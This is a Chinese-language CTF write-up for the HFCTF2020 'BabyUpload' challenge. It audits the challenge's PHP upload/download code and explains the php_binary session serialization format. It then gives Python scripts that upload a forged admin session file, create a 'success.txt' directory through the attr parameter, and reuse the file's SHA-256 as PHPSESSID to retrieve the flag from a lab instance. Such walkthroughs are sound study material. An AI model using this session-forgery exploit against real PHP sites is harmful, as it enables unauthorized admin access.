HFCTF2020-BabyUpload

刷题笔记代码审计 upload php_binary引擎下的session伪造

Created At : 2025-05-08 21:57

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知识点
1. php_binary引擎下的session伪造
2. 解题分析
  1. 解法一
  2. 解法二

参考博客：https://blog.csdn.net/m0_64297700/article/details/128831847

知识点

php_binary引擎下的session伪造

php_binary存储方式：键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

1	`Ascii字符+usernames:5:"admin";`

php存储方式：键名+竖线+经过serialize()函数序列处理的值

1	`username\|s:5:"admin";`

php_serialize(php>5.5.4)存储方式是：经过serialize()函数序列化处理的值;

1	`a:1:{s:8:"username";s:5:"admin";}`

打开页面发现源码：

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

设置session存储路径并在根目录下包含flag

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session_save_path("/var/babyctf/");
session_start();
require_once "/flag";

如果username===admin就会检查/var/babyctf/目录下是否存在success.txt，如果存在的话就会删除success.txt然后输出flag

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}

设置两个post参数direction和attr，然后$dir_path拼接路径，若$attr===private，就在$dir_path路径的基础上再拼接一个$_SESSION['username']的值：

$direction = filter_input(INPUT_POST,'direction');
$attr = filter_input(INPUT_POST,'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
	$dir_path .= "/".$_SESSION['username'];
}

判断如果direction===upload，首先判断是否正常上传，如果通过就在$dir_path下拼接文件名，然后再拼接一个_，再加上文件名的sha256值，然后使用正则匹配限制目录穿越，创建并把文件上传到相应目录下。

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }

如果$direction===download，提取上传上来的文件名，拼接为$file_path，然后又是限制目录穿越，然后再判断文件是否存在，如果存在则返回文件内容。

} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

解题分析

代码审计之后发现，如果要得到flag，需要满足两点。

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1、$_SESSION['username'] === 'admin' --->username的值为admin

2、$filename='/var/babyctf/success.txt' --->/var/babyctf/目录下存在success.txt文件

解法一

php的session默认存储文件名是sess_+PHPSESSID的值，先F12查看当前的session的值

让direction的值为download输出文件内容以判断session的存储方式，attr可以不传值，所以post构造

1	`direction=download&attr=&filename=sess_8bfa5d12ec0509c3919ea504f11346c5`

发现结果就是php_binary存储方式，接下来伪造admin的session值

脚本：

<?php
ini_set('session.serialize_handler', 'php_binary'); //设置存储方式为php_binary;
session_save_path("D:\\phpstudy_pro\\WWW\\getsession\\"); //设置session文件保存路径
session_start();

$_SESSION['username'] = 'admin';
?>

生成sess文件

对文件名进行sha256计算，将文件名改为sess方便计算；

结果：

1	`432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`

然后上传我们的sess文件

1 2	`direction=upload&attr=&filename=sess usernames:5:"admin";`

这里用脚本上传

import requests
import hashlib
# url需要修改为自己的靶场url
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
# 上传伪造的session文件
files = {"up_file": ("sess", b'\x08usernames:5:"admin";')}
data = {
    'direction': 'upload',
    'attr': ''
}
req = requests.post(url, data=data, files=files)

然后源码会将sess拼接成sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

1	`$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);`

所以服务器存储为sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4，抓包查看访问结果；

1	`direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4`

这样session伪造就成功了，接下来上传success.txt，已知$filename由file_exists函数检查文件或者目录是否存在，可将attr设置为success.txt创建目录，再上传到该目录下即可绕过判断；

1	`$dir_path = "/var/babyctf/".$attr;`

注意：这里必须随便传个文件不然过不了这个if判断，可以写个表单来传也可以用python脚本来传

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if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }

import requests
import hashlib
# url需要修改为自己的靶场url
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
#随便传个文件
files = {"up_file": ("123", b'123";')}
data1 = {
    'attr': 'success.txt',
    'direction': 'upload'
}
req1 = requests.post(url=url, data=data1, files=files)

然后修改PHPSESSID为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

然后刷新页面即可看到flag

解法二

直接用脚本

import requests
import hashlib
# url需要修改为自己的靶场url
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
# 上传伪造的session文件
files = {"up_file": ("sess", b'\x08usernames:5:"admin";')}
data = {
    'direction': 'upload',
    'attr': ''
}
req = requests.post(url, data=data, files=files)

# 获取session_id
session_id = hashlib.sha256(b'\x08usernames:5:"admin";').hexdigest()

# 在/var/babyctf/下创建success.txt目录
data1 = {
    'attr': 'success.txt',
    'direction': 'upload'
}
req1 = requests.post(url=url, data=data1, files=files)

# 通过伪造的session文件解析，获取flag
cookie = {
    'PHPSESSID': session_id
}

flag = requests.get(url, cookies=cookie)
print(flag.text)

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